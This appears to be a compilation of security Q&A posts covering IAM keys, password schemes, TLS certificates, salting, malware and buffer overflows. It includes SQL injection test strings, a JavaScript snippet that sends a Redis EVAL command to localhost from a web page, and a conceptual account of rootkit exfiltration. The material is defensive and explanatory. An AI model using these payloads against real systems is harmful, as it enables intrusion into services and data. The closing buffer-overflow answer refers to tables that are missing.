Securely provide AWS user with keys? When creating a new user in AWS IAM, an admin sets the user's name and permissions for that user. The user's password and programmatic access keys (if programmatic access is granted) are then generated and shown to the admin.

  You successfully created the users shown below. You can view and download user security credentials. You can also email users instructions for signing in to the AWS Management Console. This is the last time these credentials will be available to download. However, you can create new credentials at any time.

What is the best way to share these keys with the new user?

The best way to share the information is to change the process you're using.  A password can be generated and shared to the user through a myriad of secure methods.  The key is to have the user change their own password on the next login.

Using this method the admin will not know the users password after they log in for the first time.

The second part of this is to allow the user to generate their own AWS Access keys.
The following policy will allow a user to manage their own password and access keys.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": [
                "iam:*AccessKey*",
                "iam:*LoginProfile",
                "iam:*SSHPublicKey*"
            ],
            "Resource": "arn:aws:iam::0123456789AB:user/${aws:username}"
        },
        {
            "Sid": "VisualEditor1",
            "Effect": "Allow",
            "Action": [
                "iam:GetAccountPasswordPolicy",
                "iam:GetAccountSummary",
                "iam:ListAccount*",
                "iam:ListUsers"
            ],
            "Resource": "*"
        }
    ]
}

I strongly suggest putting an AWS Lambda in place to disable/delete access keys that are over 90 days old and set the password expiration in IAM -> Account Settings.


Using AutoHotKey-like tools for usable long passwords I recently saw this idea of using AutoHotKey to perform character replacement allowing mapping of shortcut-keys to long sequences of characters.

Consider a .ahk file mapping :

Ctrl-Alt-a --> s0k&*GHn0
Ctrl-Alt-A --> 75_+:+E@#
Ctrl-Alt-b --> <:L2389ne
... etc. ....

This would allow me to have freakishly long passwords for different websites but remember a much shorter sequence. e.g. with a two keystroke sequence

[Ctrl-Alt-a] [Ctrl-Alt-b]

I can type the password

*s0k&*GHn0<:L2389ne

Yes, I know -- correct horse battery staple may still be better, and yes, I lose portability as I know rely on having AHK and the .ahk file.

However, does this method buy me any increase in password security? Is it a good idea to try?

No, It gets you a decrease in security because you now have your passwords in a searchable file.

A password manager does the same job but holds the data securely. It is also likely to have mitigation tools for common attacks.


What are the steps to take after adding an invalid certificat authority? in order to pay my bills online internet , I have to go through the website for my internet provider , type the login and password then I redirect to a page your connection is not private i proceed to the website then i give the number of credit card and the password to pay my bills. Today i get some useful informations from security.stackexchange Maybe i am doing something wrong , What are the steps to take after adding an invalid certificat authority?

in the future, how can I proceed to the payment of my bills safely and without using a VPN?

....  your connection is not private i proceed to the website ...
  What are the steps to take after adding an invalid certificat authority?

You probably did not add a new certificate authority. If you simply clicked to make an exception in order to proceed you've only added an exception for this specific certificate used on this specific site. This is different from adding a new certificate authority (CA) which would be able to issue certificates for lots of sites. Steps to adding a new CA are more complex then just agreeing to add an exception.

The steps to remove an exception you have added to a browser depend on the browser. Google will help when you ask the right question.

  in the future, how can I proceed to the payment of my bills safely and without using a VPN?

If you get a security warning only for a single specific web site then chances are high that this is caused by a bad certificate on the site itself. Contact the site owners in this case so that they fix it.

But if you get such a warning for most sites then either the time on your computer is way off and thus most certificates are considered not yet valid or already expired. Or there is some SSL interception going on (i.e. man in the middle). This might be legal if you are inside a company and you should contact your local administrator on how to proceed. If you are in some public network then it might be caused by a hacker playing with the customers and you should not proceed. If this happens inside your own network something is very wrong there which you should fix before continuing with sensitive transactions.


Hash(master + hostname) password scheme for a server pool I manage about 20+ Linux servers and I am considering using an md5 scheme similar to following to generate the admin passwords:

echo 'masterpassword' 'serverhostname' | md5sum

Which returns 4db2430f9b5f788077fd36636002e391 using the above example.

My question is: Given that I always put a space before the command to keep the command out of my bash history, do you see any glowing issues with this scheme?

I do not remember where I read about doing it this way, but it sounds like a pretty good idea and I wanted some feedback before I make it official and add it to my DR plan.

Note: Keep in mind that this is just a scheme to generate a password. for example, echo -n 'M4M@st3rPa$$W0rd' 'www.domain.com.1' | md5 generates a7c2dc2a7a2a1d277353e1fb814f57f1 which would be the actual password. One of my challenges is that I get help from a managed service provider, and in case of emergencies, I may need to give them ssh access to a server and needed a way to easily remember secure passwords while I am on the road.

A few ideas:

Use a scheme that allows you to easily "bump" the passwords to a successive value for when the passwords need to be changed. If you ever need to give someone your server password (which does happen in certain types of emergencies), then you'll want to change the password in order to revoke access. Don't block yourself into keeping a password you can't easily change.
Don't use passwords for day-to-day interactions with the server. SSH keys are categorically better, especially when you have lots of servers to manage. Learn how to use an ssh key agent (ssh-add on *nix, and pageant on windows), which helps you simplify key management and gives you no excuse for not encrypting your private key.
Also, LastPass. Not really relevant to ssh and root passwords, but if you're managing lots of servers, you'll probably be putting lots of passwords into browsers. This is secure and reduces your incentive to re-use passwords.

As an implementation note, I just wanted to point out that your hash input has an implicit \n at the end that gets put there by echo. So if you ever attempt to replicate the password in Perl or using some other tool, just keep that in mind. Alternately: echo -n 'foo' 'bar' | md5sum. See also: echo $(</root/secret.txt) "hostname" | md5sum


Does adding an extra, non-entropic keyfile lower security? Suppose I create two TrueCrypt volumes using keyfiles. The first volume uses a keyfile generated by TrueCrypt, whereas the second one uses the same keyfile in addition to a second, non-entropic keyfile (picture a file in which most of its bytes are 0s, but has a few ones with different values). Which of the two volumes would be more secure and harder to decrypt?

You seem to be a bit confused about what "entropic" means. In the context of information security, "entropy" is a measure of the unknown. It is often expressed in bits, which is a logarithmic scale: "10 bits of entropy" means "could assume 210 possible values with uniform probability". Entropy translates to security in that an attacker, trying to guess a value with n bits of entropy through brute force will need, on average, 2n-1 tries. Beyond about 100 bits of entropy, brute force is infeasible because of the sheer cost (not enough energy is produced on Earth to complete that computation).

Being logarithmic, entropy adds up: if you concatenate a piece of data with 20 bits of entropy, next to a piece of data with 13 bits of entropy (and independent of the first piece), then the total entropy is 33 bits.

By definition, a "non-entropic file" is a file with 0 entropy, meaning that the attacker already knows it. Appending a non-entropic file will add exactly 0 to the entropy, so it won't make anything stronger.

When using "key files", TrueCrypt uses a cryptographic hash function which has a nice property of "keeping entropy around" in a much more compact form. A hash function with a 160-bit output will necessarily reduce entropy to at most 160 bits, but the bright side is that it won't reduce it any further. And 160 bits is far more than enough to defeat brute force attacks. Therefore, adding a "non-entropic" key file will not reduce your effective security (but that's because TrueCrypt does things properly).


What type of attacks can be carried on for an web application My company has designed an web application and its going to be hosted soon, I would like to know what type of attacks can be carried on the web application to test the security of my web application

Right now I have tried the following attacks

Cross-Site Scripting (XSS)
Client-State Manipulation
Cross-Site Request Forgery (XSRF)
Cross Site Script Inclusion (XSSI)
Path Traversal
Denial of service attacks
DoS via ajax
Phishing via ajax
SQL injection

I have carried out the above mentioned attacks and I wish to know any other type of attacks to test my web application before its going to be hosted.

There are a huge number of possible attacks. The ones you mention cover most of it, but things like session management problems, DOM injection, misconfigured AJAX cross-domain policy, etc. are all problems too.

Check out the OWASP Top 10 project, and the OWASP Cheat Sheets for a more comprehensive list.


Is this technique a secure way to confirm a user's bank account details, without requiring them to provide their credentials? There are many financial services that can verify a user's bank account by asking for their username and password, and signing in on their behalf. Some examples are Coinbase and TransferWise.

I've come up with a way for a user to verify their bank account details without ever providing their username and password to a third party. I would like to know if there are any security flaws with the following protocol:

The third party service starts a proxy server that records all traffic.
The user establishes a TLS connection through the proxy, and verifies the bank's SSL certificate.
The user signs in using their username and password, and saves their session cookie.
The user starts a new TLS connection through the proxy, which uses a different master secret.
The user uses their current session cookie to fetch their account details through the proxy.
The user signs out and invalidates the session cookie.
The user sends the final TLS connection's master secret to the third party service.
The third party service is now able to decrypt the HTML and verify the user's details, such as their full name, phone number, and account balances.

Notes:

If a bank allows a session cookie to be used from multiple IP addresses, the user could just sign in and out on their own machine.
The user would be viewing the proxied pages on their own machine, so this would also work with two-factor authentication.
Some online banking websites may not properly invalidate session cookies when a user signs out. However, most (if not all) banks expire a session after 10-15 minutes of inactivity, so the user can just wait for the session to expire before revealing the private key.
The page HTML could leak more data than necessary. There would be various ways to solve this for different banks. Many banks provide an API for their mobile apps, so you could just proxy some specific API requests to only reveal the necessary information.
Instead of sending the private key and allowing a third-party to decrypt all of the HTML and cookies, it might be possible to create an encrypted boolean circuit that provides a zero-knowledge proof for the recorded TLS session. The third party could run a computation that verifies the TLS handshake and certificate, decrypts the URL and HTML, then checks for the presence of certain strings to verify the user's account details. The result of the circuit is either true or false, and the third party wouldn't be able to discover any other information about the encrypted session. Alternatively, the circuit outputs could even be the strings of your full name, phone number, and checking account balance. I'm going to try to investigate this approach with the libsnark library, because it's such a fascinating idea!

One way to implement this might be to create a WebKit-based browser application that users can download and install. The app could set up a protocol handler in their browser, so that the app opens whenever the user clicks on a URL like <verification scheme>://domain/path. The app would work with any website, but it could also use preconfigured recipes for different banks.

This could also be implemented directly in Firefox and Chrome, but that's not very likely. There's also much better ways to do this. Some modern banks can provide an OAuth token with limited read-only permissions. A bank could even use public key cryptography to just sign your account details using their private key (maybe the private key for their current SSL certificate.)

I think the technique described above might be useful, since it can work for any website (not just banking.) But please let me know if you can spot any security issues here. I'm sure I've misunderstood something about TLS, or maybe there's an even easier way to do this.

I think that the mechanism could in theory work, provided that the user can trust it's bank that their site is setup in a way so that no sensitive information are transferred within the "proof" session. That means at least that only the information  relevant to  the proof are included in the proof session, that the HTTP session id can not be used by the third party and that no TLS session reuse is done, i.e. that the same key is not used to protect previous or following TLS sessions.

This means that not only the user needs special software to create the proof session but also that the bank needs to be setup in a way to securely support this proof. In my opinion this makes this concept too complex and too unreliable in practice.


Are security questions considered as 2FA? Many sites have a step during registration when you have to create security questions and answers for them. Is this type of security layer considered as 2FA? From what I know, 2FA is used for the purpose of typing in data which is not permanent, like SMS message which comes to you when you are logging in. You don't know it before it comes. So, is answering remembered security questions is 2FA according to 2FA principles and the framework of security questions?

There are main 3 factors

Something You know - Password, Question, PIN..etc (Type 1)
Something you have - Token, Smart card...etc  (Type 2)
Something you are  - Iris scan, Fingerprint...etc (Type 3)

If you want to multifactor you can use combination of them. Security question and password are in same category. That mean it is not a two factor.
In addition that

Somewhere you are
Somewhere you are not

also consider as deferent factors. You can use combination of these factors as well. Then it will become multi-factor.


S3 Bucket Name Obscurity as Security Edited to clarify: *The bucket is used by EC2 instances that process its data and display parts of it to the user.  The EC2-S3 interaction is invisible to the user. *

Can I assume that a public S3 bucket will not be discovered if it has a very long and complicated URL?

For example s3://5eb63bbbe01eeed093cb22bb8f5acdc8/

One could argue that this is not "security by obscurity", but "security by secrecy".

Bottom line, the answer is No.

If your S3 bucket is public, and you make it a website, the bucket name will appear in certificate logs which are fully public. There are tools that sniff certificate logs just to find such S3 buckets.

Also if you make it a website -- it'll appear in the links you're presumably sharing out.

The way to secure an S3 bucket is to make it private, and grant access to the specific IAM roles that need access. Do not rely on long complicated names to protect it alone.

That being said -- if you truly don't want anyone to find the stuff in your bucket, I'd definitely give it a long complicated name and make it private. It at least adds some layer of protection, for the times where maybe some script somewhere turns it public (AWS is complicated!)

Also, the recommended way to expose an S3 bucket website is usually CloudFront, where your bucket can remain fully private, yet still expose its contents to the internet. This way, folks can't perform bucket operations like list buckets without being granted the specific permissions.


Is it SQL Injection Vuln? Today my friend asking help to test and prevent his website from sql injection..

After i tried basic sql injection like 1 OR 1=1, ' OR 1--',' '1'='1 There is no mysql error displayed..

But After i tried chr(0xbf) . chr(0x27) . ' OR username = username #' on its username and password login form it showing error:

Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given

Is it can be vuln to inject with SQL Injection method?

Cause after i try with SQLMap it say does not seem to be injectable.

If a friend asks you to look into his site just tell him to hand you the code in question. It will be much easier to see than to test and a lot more reliable.


7zip AES encrypted archive, padding oracle attack I created an encrypted but forgot the password. When I attempted a pattern based brute force it said it had over a 100 trillion passwords to check. And to my knowledge that could take a few years. Based on this it may be possible to use a padding oracle attack. That being said, how would I go about doing a "padding oracle attack"? I could not find anything on google.

A padding oracle attack is not helpful in cracking a 7zip archive.  In a padding oracle attack the attacker must be able to decrypt arbitrary ciphertext, and the target must return a signal notifying the attacker that the padding of the arbitrary ciphertext is correct or not.

In the case of a 7zip archive where you do not know the password, you cannot decrypt the archive, so there is no way of knowing, if the padding is valid to begin with.


Mitigate possible file traversal I am about to start using https://find-sec-bugs.github.io.
It is reporting an error of: Bug type PATH_TRAVERSAL_IN for the following code:

 def writeLocalFile(fileName: String, content: String): Unit = {
    Files.write(Paths.get(fileName), content.getBytes(StandardCharsets.UTF_8))
    ()
  }

As mitigation

if (!file.exists()) {
        return Response.status(Status.NOT_FOUND).build();
   }

is suggested (i.e something which makes sense for a web application.
My application is

trying to write a file (so it could be true that the file does not exist
a spark data analytics job not facing regular web security problems as it is only executed in firewalled backends

Nonetheless I would like to understand if:

this is a false positive, if yes how can it be ignored
otherwise how to properly fix given that writing to a non existing path should should create it.

According to the documentation found here
This warning is raised because you're passing a variable into the Paths.get function. It could lead to overwriting of files you didn't intend.
In fact, I believe your mitigation technique would only serve to help an attacker because you'd only be allowing them to overwrite files that exist.
The documentation says:

Bug Pattern: PATH_TRAVERSAL_OUT
A file is opened to write to its
contents. The filename comes from an input parameter. If an unfiltered
parameter is passed to this file API, files at an arbitrary filesystem
location could be modified.
This rule identifies potential path
traversal vulnerabilities. In many cases, the constructed file path
cannot be controlled by the user. If that is the case, the reported
instance is a false positive.

If I were you I would look at rearchitecting this. Do you really need to pass in the path or can it be hardcoded to some constant value?
You may want to reconsider all angles of attack on this.


How to protect magnetic stripe in credit cards from being read? I know that for credit cards with RFID there are solutions to prevent unauthorized parties from  reading the data for fraudulent purposes

If I know that my card  99% of the time is only going to do payments via chip, how can I shield the mag stripe so it can't be read? Tampering or removing it is not an option as in some stores in my country and mostly all of US' stores the mag stripe is still used

Is there something equivalent for the mag stripe as there is for RFID  (put a thin foil of lead in a cardboard sleeve for your credit cards)

I was thinking of putting a piece of aluminum in the portion of the mag stripe that will not go into chip readers but since aluminum is a non magnetic material I'm wondering if it'll work

You should look for EMI foil tape. It is designed for use as shielding in electronic circuits to minimise unwanted electromagnetic emissions. Avoid the stuff for sale on Amazon and eBay; stick to reputable electronics vendors such as Mouser, DigiKey, Farnell, RS Components, etc.

Another option is to wipe the magstripe completely, then set up and carry a prepay card as a backup for cases where you actually require the magstripe.


Is virus removal a security risk comparing to reinstalling everything from a clean source? Why would it be a good idea to run a tool to remove a virus? You know that your system was compromised, but you don't know whether the antivirus tool will work.

Right, when you're dealing with devious malware, it's very hard to determine whether you've completely removed it.

Rootkits are pieces of malware that change core OS components (either on disk or in memory) to make normal OS functions return false data to hide the malware and/or its effects. Malware can conceivably modify the boot process to essentially put the entire normal OS in a virtual machine, where it can't see or remove the virus. One example of such a trick is the Blue Pill proof-of-concept.

Modern operating systems are so complex that there are huge amounts of places for bad things to hide. (Look at all the different tabs of the Autoruns utility, and I can think of one or two other ways to launch unwanted programs along with normal things, e.g. COM registrations.)

Basically, if it's at all important that the machine is clean, you should completely reinstall the OS to blow away anywhere the malware can hide. And even then, there are other ingenious persistence methods!


How hypervisor rootkits create network connections? How hypervisor rootkits create network connections to exfiltrate data? They don't have access to the underlying OS syscalls, right? Because they are usually programmed with VTx Intel instructions in assembly.

From the paper SubVirt: Implementing malware with virtual machines.

  This new type of malware, which we call a virtual-machine based rootkit (VMBR), installs a virtual-machine monitor underneath an existing operating system and hoists the original  operating  system  into a virtual  machine.

There are two main approaches for making a suitable running environment for the rootkit:

The first one involves changing the actual operating system and user programs with your elevated authorization and running the VMM (Virtual Machine Monitor) and user/kernel mode component of the rootkit.
The other one is pretty much the same, just using another operating system.

  Further, VMBRs support general-purpose malicious services by allowing
  such  services  to  run  in  a  separate  operating  system that is protected from the target system.

You can use APIs (including the TCP/IP stack and related API) and the hardware abstraction of your new host. It is a little different, but I must say another way is using your own TCP/IP stack:

  Delusion comes with its own TCP/IP stack based on lwIP

The Blue Pill-based Delusion backdoor uses its own stack according to the Introducing Blue Pill presentation.

And what about if our new host application need to interact with target OS? For stealing data in the first place.

Like most of the legit virtualization software you can use agents inside  the guest OS.
Controlling CPU registers makes it easy to implement any hooking techniques.
The hypervisor also controls the disk and the OS interface to the disk.

This is another topic to discuss, but it is more than enough to control the target OS.


Is ZIP-attack possible/realistic? I was recently visiting a semi-popular website by just typing the link into the browser. I actually was sure that I typed the right address in there. But what if I typed in the wrong address and then a malicious site was showing up? The website frontend looked the same as the original site showing images, comments, etc.
My fear is that I could get a drive-by-download infecting my important ZIP files on my machine. So that everytime on another machine where I open my ZIPs that it executes malware. Not by adding a file to the archive but rather be self-executing when uncompressing the archive.

How realistic is that scenario? Am I too paranoid?

Zip files can be malicious

Just as most other types of files, zip files may be maliciously designed to exploit some security vulnerability in the application that will be opening them. For example, some 'unzipping' programs had directory traversal vulnerabilities that could allow an attacker to overwrite arbitrary system files in order to gain futher access or core execution; there have been buffer overflow vulnerabilities in these programs allowing the attacker to gain arbitrary code execution when the zip file is opened, etc.

Of course, this requires either that you're running known vulnerable software, or that the attacker is exploiting a currently unknown vulnerability i.e. a zero-day exploit; as far as I am aware, there are no currently known unzipping vulnerabilities that aren't fixed in the latest software versions.

Websites don't (usually) get to modify your files

The stated risk of 'a drive-by-download infecting my important ZIP files on my machine' works a bit differently. A malicious website might trick the user into downloading some file - and possibly opening it. However, the attack would not start with infecting 'your important ZIP files'; if you don't intentionally overwrite them with whatever you're downloading, your 'clean' files won't get modified. The risk there is in opening a different, new zip (or other) malicious file downloaded from that website, not the website magically modifying some of your existing files.

There have been some exploits that allow a malicious website to break out of the browser sandbox and get unrestricted code execution on your machine, however, at that point there's still no extra risk in opening your important zip files because the attack has already happened and does not need user involvement in opening some file.


Security implication of exporting private key I have a key pair stored in GPG Keyring. If I export it to an ASCII Armored format, am I removing any layers of security as long as the exported key stays on the same server as the key ring itself? My private key is still secured by a passphrase even after export.

For someone who breaks into my server is it equally easy to crack my exported key as the Keyring?

If the same access rules are used, and if you don't have to input your passphrase then by definition it is as safe as when it was in the key ring.

If you do have to insert your passphrase then the key may be decrypted and then encrypted back again. In that case you've got two possible security issues:

the key bits have been exposed after they have been decrypted with the password (which means that they may have been left in some kind of storage such as RAM or cache);
the key may be encrypted with a different, less secure algorithm.

Finally, you should also be sure that the file hasn't changed meaning, e.g. if it is copied as another key you may be fooled into typing the password for it.


Can a website make an HTTP request to "localhost"? How does it get around the cross-domain policy? I found this website which talks about fixing a Redis vulnerability by exploiting that same vulnerability.

The website in question has a "patch me" button, and if you have a password-less Redis server running on your machine, it will patch it.

In other words, the website itself connects to the Redis Server in your computer and executes some commands.

If you look into the website code you find, predictably, this:

    var text = "the code to run";
    var bad = "EVAL "  + JSON.stringify(text) + " 0\r\n";
    var x = new XMLHttpRequest();
    x.open("POST", "http://localhost:6379");
    x.send(bad);

To my surprise, this works!

I thought the Cross-Domain Policy would stop this from running, but it doesn't.

Why does this work, and how can I now not be paranoid that every website I go into is reading the entire contents of my Redis server?

It is because it's only writing but not reading? Still, any website in the world could empty my local Redis server / write to anything else listening to a port in my machine without authentication.

Am I missing anything here?

Im surprised nobody has pointed out that the accepted answer (by meltdownmonk) is wrong.

  "It will not break cross domain policy, because the request will not
  cross domains.  It will stay local. One way to avoid cross domain
  policies, is to get the target victim to make the HTTP request
  themselves. Thus the request never crosses domains."

  "It's not the website itself connecting to your Redis machine. It's
  you connecting to your Redis machine, executing client side
  code/scripts that you ran by clicking the link"

  "The attacker doesn't have full control over the process. They rely on
  the owner of the Redis server to execute the code."

  "...it's not the attacker that executes them, it's the owner, and so no Cross Domain Policies are violated."

This is not how the Same-Origin-Policy (SOP) and Cross Origin Resource Sharing (CORS) work. Of course the request will cross domains when a website tries to connect to localhost. Also it is the website itself trying to connect to your redis
and not the user - the attacker does not have to rely on the user. There is no difference whether the code runs automatically in the background or if the user clicks a button.

A website is basically able to send requests to localhost on different ports and can thereby even run a port scan. The browser's CORS implementation will ensure that data cannot be read by javascript. Therefore, the attacker cannot steal data from localhost and send it to a server. This is only true of course as long as your services on localhost do not explicitly allow CORS requests to be made (when they sent allow-origin headers, the attacker can steal data).

Apart from this, requests are still possible and therefore CSRF attacks are also possible. Such a CSRF attack could be triggered with a simple javascript HTTP-request (which does not require a CORS preflight check), but also HTML form data sent via GET/POST and websockets can be used to establish a connection to local services.

So to sum it up, if you visit a website, this website will be able to send requests to your local services on your computer on different ports. Reading data from your local services is normally not possible.


Which has to handle certificate, a website, a web server or a web application? In web, what is a certificate issued to, a website, a web server or a web application?

Which has to handle certificate, a website, a web server or a web application?

For example, when I run a web application on Nginx, an article shows to configure Nginx to support HTTPS and   certificates.

I was wondering if a web application has to be implemented to support HTTPS and certificates? (I hope not, because that will make web application development simpler)
A web server can host multiple websites, so I was also wondering if the configuration of Nginx and the certificate are at the web server level or web site level?

Thanks.

A Web Server handles certificates and TLS connections

A web site itself is simply an HTML document, possibly including scripts and stylesheets, and references to other resources (external scripts, styles, images, etc.). The document itself is not aware if it is served via HTTP or HTTPS, and if so, which certificate was used for that.

Instead, these things are handled by the web server. A web server, such as nginx, can be given a certificate and the private key associated with the certificate. If configured to server HTTPS, then the web server will use said certificate in any incoming TLS connection.

Regarding Multiple Certificates

You seem to confuse "web site" for "web server", in regards to nginx. A web site is one document, where as a "web server" is one logical unit for nginx, with its own configuration and, more importantly, host name.

As such, nginx can be configured as follows:

server {
    listen 443;
    server_name server1.example.org
    ssl_certificate cert1.pem;
    ssl_certificate_key key1.pem;
}

server {
    listen 443;
    server_name server2.example.org
    ssl_certificate cert2.pem;
    ssl_certificate_key key2.pem;
}
...

If the web server was reached with the hostname server1.example.org, it would serve the certificate found in cert1.pem. Likewise, if it was reached as server2.example.org, it would server the certificate from cert2.pem.

Regarding Web Applications

Likewise, a "web application" is just a fancy name for a document with some server-side logic behind. But this also does not handle any certificates or TLS connections. In fact, it would make a web application a lot less portable if it did so, because any change in certificate would require changes to the codebase.

This split was done intentionally, as it separates two different tasks. The task of the web server is to accept incoming connections, parse HTTP requests, handle TLS connections, etc.. Once all of this is done, the web server forwards the parsed requests to the web application, which then handles all the application logic.


What are the differences between a qualified CA and a simple CA Simple CAs are mostly the ones issuing certificates for webserver or email addresses. At least in the EU they have something called qualified CA issuing qualified certificates.

The question is: What are the differences in a technical and organisational view? And how can you distinguish these issued certificates?

At the technical level there is no real difference.

The difference is instead on an organisational level: a qualified trust service provider must adhere to specific requirements like making sure that the information in the certificates including the times are correct, that certificates will be quickly revoked if necessary and that it is kind of impossible for an attacker to create its own certificates. For more details see Wikipedia:Qualified digital certificate:Role of a qualified trust service provider.

The idea behind this requirements is that the issued certificates are sufficiently trustable in order to be used for digitally signing various kinds of data in the context of public and private transactions. Sufficiently trustable means that when in doubt a court will accept the digital signature as proof, which means that it needs to be sure that it could not have been faked by an attacker.


Is a (Radius) WiFi certificate also used by the web browsers (https)? When trying to connect to a "WPA2 Enterprise" (802.1X) protected network (eduroam) MacOS is asking me to accept a Certificate. This certificate is self-signed by the University.

The certificate's purpose #1 is stated as : "Server Authentication ( 1.3.6.1.5.5.7.3.1 )". There is no other purpose.
(Extension is "Extended Key Usage ( 2.5.29.37 )".

My question is now: If I accept this certificate would my browser (usually Chorme, sometimes Firefox) also accept https websites signed with this certificate? Maybe those two options available for me do just that:

Extensible Authentication EAP (for WiFi)
X.509 (for Webbrowsers)

Thank you for the clarification!

Installing the certificate as an EAP certificate will not cause it to be accepted for server authentication.  It becomes associated with the EAP profile for 802.1x use.  The two uses determine when the operating system (OS X) considers each one for certificate validation.


Global salt vs salt-per-password Possible Duplicate:
  Password Hashing add salt + pepper or is salt enough?
  Any risk in using the same salt for several hashes on a user?

It's known that all password hashes need to be salted, but a debate often arises which salting strategy to use:

One common salt, hard-coded in the application away from the data
One salt per one hash, stored in the database next to the hash, never reused

How do these two approaches compare against different attacks or leaks? Is one more secure than the other?

There is tons already written on this site about salting.  Please go read that, and then come back if you have further questions.  Don't miss Password Hashing add salt + pepper or is salt enough?.

TL;DR: Each user should receive their own individual random salt, stored in the database, next to the hash.  You could optionally also include a second application-wide salt ("pepper") stored elsewhere, but it's not critical.


Linux Kernel module signing If the linux kernel is compiled to check for kernel modules signing, it checks the validity of the public key (X.509) w.r.t the current system time. For the first time the system is booting up, it hasn't received external time sync and the default time is still 1 Jan 1970. I am wondering how is this issue resolved in other implementations using kernel module signing?

The kernel normally gets its first 'base' time from the RTC or Real Time Clock
so while it won't be as accurate yet as after the NTP protocol has updated the time. it is sufficient to validate a signature of a certificate.
you can set this value normally in the BIOS before ever booting an OS.


How to remove my email from spam-lists/blacklists after malware issue? I am not sure this is the proper place to ask this question, but I am sure someone will be able to help me :)

I have a Mac, which I use for daily working (emails, etc.). Recently, I received some weird return emails with strange content. After investigating a bit, I found out that I had some malware sending emails from my account and it even created new accounts in my domain (which is not hosted by me, but by a third-party) and also sent emails to people.

I am not sure if I started/infected the server too, but my account was being used to send spam and Avast found a few files in my computer that I had to delete. Now, everything seem like it is ok, but when I send some emails to my clients, I get them back saying this:

SMTP error from remote mail server after RCPT TO:<my.client.email@client.com>:
554 5.7.1 Service unavailable;
Client host [SOME.IP.ADDRESS] blocked using b.barracudacentral.org;
Client host blocked using Barracuda Reputation, see http://www.barracudanetworks.com/reputation/?r=1&ip=xx.xx.xx.xx

So it seems that I am in some blacklist/spamlist and some of my clients are not getting my emails. Apparently, my colleagues are not having the same problem. How can I get my email removed from those lists?

If you are on one blacklist, you are likely to be on several now or in the next few days or weeks.  You will need to check several times.  Several services provide limited free ongoing periodic checks (more services for paid subscription).

Here are three tools you can try in addition to delisting with Barracuda itself (per answer by Nicholas Leader).  I know there are many others.  The first two provide direct delisting links or other information on how to get delisted.
https://www.ultratools.com/tools/spamDBLookup
http://mxtoolbox.com/blacklists.aspx
https://robtex.com -- RobTex site is being revamped, so for now follow the old site link, enter your ip, and look at the extensive blacklist section.

Many blacklists will delist once easily, but subsequent listing will be much harder to remove (e.g., mandatory 30 day wait since last report).  Be sure your Mac, server, etc., really are clean.  At the very least, try running several of the free scanners/tools from other (not Avast in this case) vendors on your Mac.


How to check if an mp4 file contains malware? I am not that familiar with security and malware analysis, but I know it is theoretically possible to embed a malware into files like video, audio ...

Say that someone managed to embed a malware into an mp4 file and send it via gmail.
I have the following questions.

Is it easy to bypass the google security that is implemented in
gmail so that it will not be detected as virus/malware by gmail?
Once, downloaded the video, how to check whether it contains a
malware/virus or not (other methods than using virustotal...)?
Is it possible that the malware can infect multiple OS
(Windows and Linux: mainly Ubuntu)?

To answer your questions, we have to understand what malware in an mp4 file actually means.

An mp4 file isn't an executable, so it will not run any (malicious) code directly. Therefore, if a mp4 file contains malware that wants to execute instructions, it has to exploit a vulnerability (e.g. a buffer overflow) in the program that plays the file. This can either be a known vulnerability that hasn't been patched or a 0-day.

I will answer your questions inline below:

Is it easy to bypass the google security that is implemented in gmail so that it will not be detected as virus/malware by gmail?

Depends on the malware. If it has a known signature or is easily detectable with heuristic methods, it is very likely that it is caught by a malware detection system at gmail. But if you are dealing with a 0-day, chances drop dramatically.

Once, downloaded the video, how to check whether it contains a malware/virus or not (other methods than using virustotal...)?

If you are not an expert in reverse engineering, your best bet actually are established malware detection systems like virustotal. In case you REALLY need to play the file and are afraid of infection, use a throw-away OS (e.g. in a hardened virtual machine) to play it and wipe the system afterwards.

Is it possible that the malware can infect multiple OS (Windows and Linux: mainly Ubuntu)?

Very unlikely, because the exploit probably uses a memory corruption bug, which is usually platform specific.


What are the best reasons you've heard for not implementing security? We can devise the best technical solution to a security problem, but that solution needs to be applied by people, by a business, to an organization, and/or in spite of objections.

The barriers people have to implementing security interests me greatly because it affects me directly. I know others have asked about "how to get buy-in" and "good ways to educate" but my question is about the other side of the equation.

I want to hear the specific reasons you have heard for a user, a manager, or a company user for not wanting to implement a more secure policy/procedure/product. The more specific the better.

Maybe if we better understand the objections to what we do, we can be better at working with those we seek to serve.

I discovered a vulnerability in one client's infrastructure which could cause an outage plus data loss. When pressed for a 1-off cost calculation the client agreed it could cost them upwards of £1 million each time, so I proposed a remediation plan which would have cost under £100k.

They turned it down, as £1 million was below their lower risk threshold - they had bigger risks to set their teams on.

But a valid risk decision by the business is a correct answer to go back to a security team with, so this was fine.


Remote working from home If I agree to remote working with my employer how do they identify my PC? Is it the IP address or is it the computer name or user name I entered when I set up the PC?

Most remote workers utilise a remote access VPN.  This will require you to authenticate using one of several methods based on pre-shared keys or more likely digital certificates. Your employer may also use third-party methods utilising Token Based Authentication.  Your public IP address can change at any time so they will not be filtering based on this.  They will assign your internal IP as part of the VPN process.


How to explain buffer overflow to a layman Every once in a while (when I think out loud and people overhear me) I am forced to explain what a buffer overflow is. Because I can't really think of a good metaphor, I end up spending about 10 minutes explaining how (vulnerable) programs work and memory allocation, and then have about 2 sentences on the actual exploit ("so a buffer overflow fills the buffer up with nonsense and overwrites the pointer to point to whatever I want it to point to"). By this time, most people have become suicidal... What is a good way to explain a buffer overflow to laymen? If possible, please include an "overflow" component, but also at least a lead-in to why this means the attacker can get what he wants. Remember, people of average (and below average) intelligence should be able to get an idea of what I am talking about, so while you should absolutely feel free (encouraged, actually) to explain what each part of your metaphor (analogy?) represents, don't rely on any super-technical descriptions...

PS, a related question explaining in technical terms what the buffer overflow does: What is a buffer overflow?

Imagine you have a list of people you owe money to.

Also, when you write over something, it replaces what was there before instead of writing over the top of it. (The analogy breaks down a bit here, because you pens don't work that way in real life, but computer memory does)
You pay someone a $500 deposit on a $5000 car, so you now owe them $4500. They tell you their name is John Smith. You write the amount (4500) and the name (John Smith) in the table. Your table now looks like this:

Later your table reminds you to pay them back. You pay the $4500 (plus interest) and erase it from the table, so now your table is blank again.
Then you get a $1000 loan from someone else. They tell you their name is "John Smithxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx9999999999".
You write the amount (1000) and the name (John Smithxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx9999999999) in your table. Your table now looks like this:

(the last 0 from 1000 was not written over. This is unimportant.)
